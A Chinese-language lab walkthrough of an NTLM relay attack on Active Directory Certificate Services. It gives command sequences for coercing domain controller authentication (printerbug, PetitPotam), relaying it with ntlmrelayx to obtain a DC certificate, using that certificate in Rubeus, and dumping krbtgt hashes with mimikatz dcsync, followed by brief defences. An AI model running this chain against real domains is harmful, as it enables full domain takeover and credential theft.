文章前言
本篇文章我们主要介绍AD CS攻击系列中的中继攻击的基本原理和攻击手法进行简单阐述~
漏洞原理
AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,一方面是因为没有启用NTLM中继保护,另一方面Authorization HTTP头明确允许通过NTLM进行身份验证,并未使用更安全的协议,例如:Kerberos
Authorization头信息:
环境搭建
基础信息
-
攻击主机:192.168.174.129 Kali
-
主域控机:192.168.174.2 Windows 2012 R2
-
辅域控机:192.168.174.160 Windows 2012 R2 (AD CS服务)
-
域内主机:192.168.174.4 Windows Server 2008
环境说明
域内存在多台主机设备,其中有一台主机上搭建了AD CS证书服务,同时安装基于HTTP协议的AD CS服务器角色功能,例如:证书注册策略Web服务等,这些Web服务采用NTLM的方式进行身份认证,此时攻击者可以通过利用打印机漏洞使得域内DC主机向攻击者主机进行强制认证,之后攻击者窃取域控主机的NTLM身份认证信息并申请证书,由于部分证书(用户/计算机)可以用于Kerberos认证,导致攻击者可以将获取到的证书导入任意域内主机,实现对目标域控的直接访问
网络拓扑
搭建流程
辅助域控
升级为域控:
加入到现有的域环境中:
DSRM密码:
选择主从域复制:
之后重启操作系统:
ADCS搭建
ADCS配置
ADCS测试
本地访问ADCS证书申请Web服务弹出以下认证框,则说明成功:
http://192.168.174.160/certsrv/
先决条件检查
之后查看DC和DC辅控是否在Domain Computers组里面,不在则需要自己加入,否则会利用失败:
漏洞利用
Step 1:域内定位CA机器
certutil -config - -ping
Step 2:安装新版本的Impacket(旧版本没有AD CS命令)
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
python3 -m pip install .
Step 3:攻击机器开启本地监听并将证书颁发机构(CA)设置为目标,即目标DC 192.168.174.2
#格式:
python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
#示例:
python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs
Step 4:利用打印机服务漏洞强制认证
a、使用printerbug
https://github.com/dirkjanm/krbrelayx
#格式:
python printerbug.py domain/username:password@<targetName or Address> <hostname to connect to>
#示例:
python3 printerbug.py hacke/testuser:\\\'test@123\\\'@dc.hacke.testlab 192.168.174.129
成功获取到证书数据信息:
b、使用dementor.py脚本
https://github.com/NotMedic/NetNTLMtoSilverTicket
#格式:
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
#示例:
python3 dementor.py -d hacke.testlab -u Al1ex -p \\\'Kksvqm@123\\\' 192.168.174.129 192.168.174.2
之后获取到用户的证书信息:
c、使用Petitpotam.py脚本
https://github.com/topotam/PetitPotam
#格式:
python Petitpotam.py -d domain -u username -p password <RESPONDERIP> <TARGET>
#示例:
python3 PetitPotam.py -d hacke.testlab -u Al1ex -p \\\'Kksvqm@123\\\' 192.168.174.129 192.168.174.160
之后成功得到证书信息:
Step 6:在域内主机Win08-Server上使用普通域用户登录并访问域控
Step 7:利用上面获取到的证书,获取TGT并注入
#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
#示例:
Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt
Step 8:再次访问域控
查看票据信息:
Step 9:之后可以利用mimikatz,进行导出hash
KERBEROS::List
lsadump::dcsync /user:krbtgt
或者使用以下命令:
lsadump::dcsync /all /csv
防御措施
开启SSL认证
-
开启NTML中继保护
文末小结
在实施AD CS Realy攻击时需要注意不能Relay给自身,也就是说AD CS服务和受害者主机(大多数情况下为域控)在同一主机上时,此时的受害者主机是域控主机,Realy的目标主机也是域控主机,这种情况下是不可行的,另外子域没有权限也不能Relay
参考链接
https://github.com/SecureAuthCorp/impacket/pull/1101
http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34111.html